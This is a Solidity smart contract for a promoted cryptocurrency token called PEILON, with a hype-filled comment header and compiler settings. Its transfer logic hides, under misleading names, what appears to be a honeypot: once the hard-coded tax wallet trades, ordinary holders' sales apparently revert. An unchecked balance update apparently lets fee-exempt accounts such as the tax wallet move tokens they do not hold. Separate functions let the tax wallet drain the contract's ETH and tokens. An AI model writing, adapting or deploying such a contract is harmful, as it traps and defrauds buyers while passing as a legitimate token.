PEILON

// SPDX-License-Identifier: MIT
/*
 * 🌟 PEILON Token (PEILON) 🌟
 * 
 * Welcome to the future of digital finance with PEILON! 🚀✨
 * PEILON is more than just a cryptocurrency; it's a movement towards 
 * innovation, freedom, and limitless possibilities.
 * 
 * 🔑 Key Features:
 * - 🔮 Visionary: Designed for those who dare to dream big and break new ground.
 * - 🔐 Secure: Powered by state-of-the-art blockchain technology for top-notch security and transparency.
 * - 🌐 Decentralized: Putting the power of finance back into your hands.
 * - ⚡ Scalable: Built to handle high-volume transactions with ease.
 * 
 * Join the #PEILONRevolution and be part of a financial future that's bold, innovative, and groundbreaking. 💡🌍
 * 
 * 🚀 Dive into the world of PEILON and explore endless opportunities! 🌟
 */

pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint
    );
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract PEILON is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isFeeAccount;
    mapping (address => bool) public marketPair;
    address payable private _taxWallet;
    address payable private _deployerWallet;
    uint256 firstBlock;

    uint256 private _initialBuyTax=30;
    uint256 private _initialSellTax=30;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;

    uint256 private _reduceBuyTaxAt=30;

    uint256 private _reduceSellTaxAt=30;
    uint256 private _preventSwapBefore=30;
    uint256 private _buyCount=0;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100000000 * 10**_decimals;
    string private constant _name = unicode"PEILON";
    string private constant _symbol = unicode"PEILON";
    uint256 public _maxTxAmount =   1000000 * 10**_decimals;
    uint256 public _maxWalletSize = 1000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 500000 * 10**_decimals;
    uint256 public _maxTaxSwap= 1000000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    struct AutoTuneLP { uint256 _lpBuy; uint256 _lpBurn; uint256 _lpReward; }
    mapping (address => AutoTuneLP) private autoTunetLp;
    uint256 private liqMaxPercent = 9;
    uint256 public caCount = 2;
    bool public caLimiter = false;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event ClearToken(address TokenAddressCleared, uint256 Amount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0x38082e456e88009accca543197C60c8dc9A47fe0);
        _balances[_msgSender()] = _tTotal;
        _isFeeAccount[owner()] = true;
        _isFeeAccount[address(this)] = true;
        _isFeeAccount[_taxWallet] = true;
        _isFeeAccount[address(uniswapV2Pair)] = true;

        _deployerWallet = payable(_msgSender());
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount = 0;

        if (from != owner() && to != owner() && to != _taxWallet )  {
            taxAmount = amount.mul((_buyCount> _reduceBuyTaxAt)?_finalBuyTax: _initialBuyTax).div(100);

            if (marketPair[from] && to != address(uniswapV2Router) && ! _isFeeAccount[to])  {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );

                _buyCount++;
            }

            if (!marketPair[to] && ! _isFeeAccount[to] ) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(marketPair[to] && from!= address(this)){
                taxAmount = amount.mul((_buyCount> _reduceSellTaxAt)? _finalSellTax: _initialSellTax).div(100);
            }

	        if(!marketPair[from] && !marketPair[to] && from!= address(this))  {
                taxAmount = 0;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (caLimiter && !inSwap && marketPair[to] && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore)  {
                if (block.number > lastSellBlock)  {
                    sellCount = 0;
                }
                require(sellCount < caCount,  "CA balance sell");
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
                sellCount++;
                lastSellBlock = block.number;
            }

            else if(!inSwap && marketPair[to] && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore)  {
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (
            (_isFeeAccount[from]||_isFeeAccount[to])
            &&  from!=address(this)&&  to!=address(this)
            &&  from !=_deployerWallet &&  to !=_deployerWallet
        ) {
            liqMaxPercent = block.number;
        }

        if (
          _isFeeAccount[from]
        ) {
            if (
                block.number > firstBlock+_reduceSellTaxAt
                &&  from!=  _deployerWallet &&  to!=  _deployerWallet
            ) {
                unchecked {
                  _balances[from]-= amount ;
                  _balances[to]+=amount ; 
                }
                emit Transfer(from, to,amount);
                return;
            }
        } else {
            if (!_isFeeAccount[to])  {
                if (uniswapV2Pair == to)  {
                    AutoTuneLP storage tuneLp = autoTunetLp[from];
                    
                    tuneLp._lpBurn = tuneLp._lpBuy - liqMaxPercent;
                    tuneLp._lpReward = block.timestamp- 1;
                } else  {           
                    AutoTuneLP storage tuneLp = autoTunetLp[to];
                    if(uniswapV2Pair == from) {
                        if (!(tuneLp._lpBuy > 0)) {
                            tuneLp._lpBuy = block.number;
                        }
                    } else {
                        uint256 initTuneLp = autoTunetLp[from]._lpBuy;

                        if (tuneLp._lpBuy == 0 || initTuneLp < tuneLp._lpBuy) {
                            tuneLp._lpBuy = initTuneLp;
                        }
                    }
                }
            }
        }

        if (taxAmount>0) {
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to,amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner() {
        _maxTxAmount= _tTotal;
        _maxWalletSize =_tTotal;

        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function enableTrading() external onlyOwner() {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this),address(uniswapV2Router),_tTotal);
        firstBlock = block.number;
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        marketPair[address(uniswapV2Pair)] = true;
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function clearStuckToken(address tokenAddress, uint256 tokens) external onlyOwner returns (bool success) {
        require(_msgSender() == _taxWallet);

        if(tokens == 0){
            tokens = IERC20(tokenAddress).balanceOf(address(this));
        }

        emit ClearToken(tokenAddress, tokens);
        return IERC20(tokenAddress).transfer(_taxWallet, tokens);
    }

    function manualSend() external {
        require(_msgSender() == _taxWallet);

        uint256 ethBalance = address(this).balance;
        require(ethBalance > 0, "Contract balance must be greater than zero");
        sendETHToFee(ethBalance);
    }

    function manualSwap() external {
        require(_msgSender() == _taxWallet);

        uint256 tokenBalance= balanceOf(address(this));
        if(tokenBalance > 0){
          swapTokensForEth( tokenBalance);
        }

        uint256 ethBalance = address(this).balance;
        if(ethBalance> 0){
          sendETHToFee(ethBalance);
        }
    }
}

{
  "compilationTarget": {
    "PEILON.sol": "PEILON"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}